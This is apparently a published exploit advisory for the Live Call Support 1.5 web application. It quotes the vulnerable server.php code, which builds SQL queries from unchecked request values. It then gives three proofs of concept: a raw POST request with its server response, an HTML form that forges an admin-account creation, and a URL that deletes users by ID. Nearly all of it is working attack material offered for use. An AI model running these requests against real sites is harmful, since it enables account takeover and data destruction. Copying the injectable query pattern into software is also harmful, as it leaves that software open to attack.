# Exploit Title: Live Call Support 1.5 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ranksol.com/
# Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/server.php
#
#/[PATH]/server.php
#213 case "save_user":{
#214
#215 if($_REQUEST['password']==$_REQUEST['confirm_password']){
#216
#217 if($_REQUEST['uid']==''){
#218
#219 $sql = "insert into users
#220
#221 (
#222
#223 name,
#224
#225 phone_number,
#226
#227 email,
#228
#229 password,
#230
#231 type
#232
#233 )
#234
#235 values
#236
#237 (
#238
#239 '".$_REQUEST['agent_name']."',
#240
#241 '".$_REQUEST['agent_number']."',
#242
#243 '".$_REQUEST['email_address']."',
#244
#245 '".$_REQUEST['password']."',
#246
#247 '".$_REQUEST['role']."'
#248
#249 )";
#250
#251 }else{
#252
#253 $sql = "update users set
POST /[PATH]/server.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------16460805410548
Content-Length: 879
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------16460805410548: undefined
Content-Disposition: form-data; name="agent_name"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="agent_number"
1234
-----------------------------16460805410548
Content-Disposition: form-data; name="email_address"
efe@omerefe.com
-----------------------------16460805410548
Content-Disposition: form-data; name="role"
1
-----------------------------16460805410548
Content-Disposition: form-data; name="password"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="confirm_password"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="uid"
-----------------------------16460805410548
Content-Disposition: form-data; name="cmd"
save_user
-----------------------------16460805410548--
HTTP/1.1 302 Found
Date: Sun, 13 Jan 2019 11:45:08 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Access-Control-Allow-Origin: *
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
location: users.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
# POC:
# 2)
# http://localhost/[PATH]/server.php
#
<html>
<body>
<form method="post" action="http://localhost/[PATH]/server.php" enctype="multipart/form-data">
<div class="form-group">
<label>Name</label>
<input name="agent_name" value="" type="text">
</div>
<div class="form-group">
<label>Phone Number</label>
<input name="agent_number" value="" type="text">
</div>
<div class="form-group">
<label>Email Address</label>
<input name="email_address" value="" type="text">
</div>
<div class="form-group">
<label>Role</label>
<select name="role" class="form-control">
<option value="2">Consultant</option>
<option value="1">Admin</option>
</select>
</div>
<div class="form-group">
<label>Password</label>
<input name="password" value="" type="text">
</div>
<div class="form-group">
<label>Confirm Password</label>
<input name="confirm_password" type="text">
</div>
<div class="form-group">
<input name="uid" value="" type="hidden">
<input name="cmd" value="save_user" type="hidden">
<input value="Save" class="btn btn-primary" type="submit">
<input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button">
</div>
</form>
</body>
</html>
# POC:
# 3)
# http://localhost/[PATH]/server.php?cmd=delete_user&userID=[DELETE_ID]
#
#/[PATH]/server.php
#191 case "delete_user":{
#192
#193 $userID = $_REQUEST['userID'];
#194
#195 $res = mysqli_query($link,"delete from users where id='".$userID."'");
#196
#197 if($res){
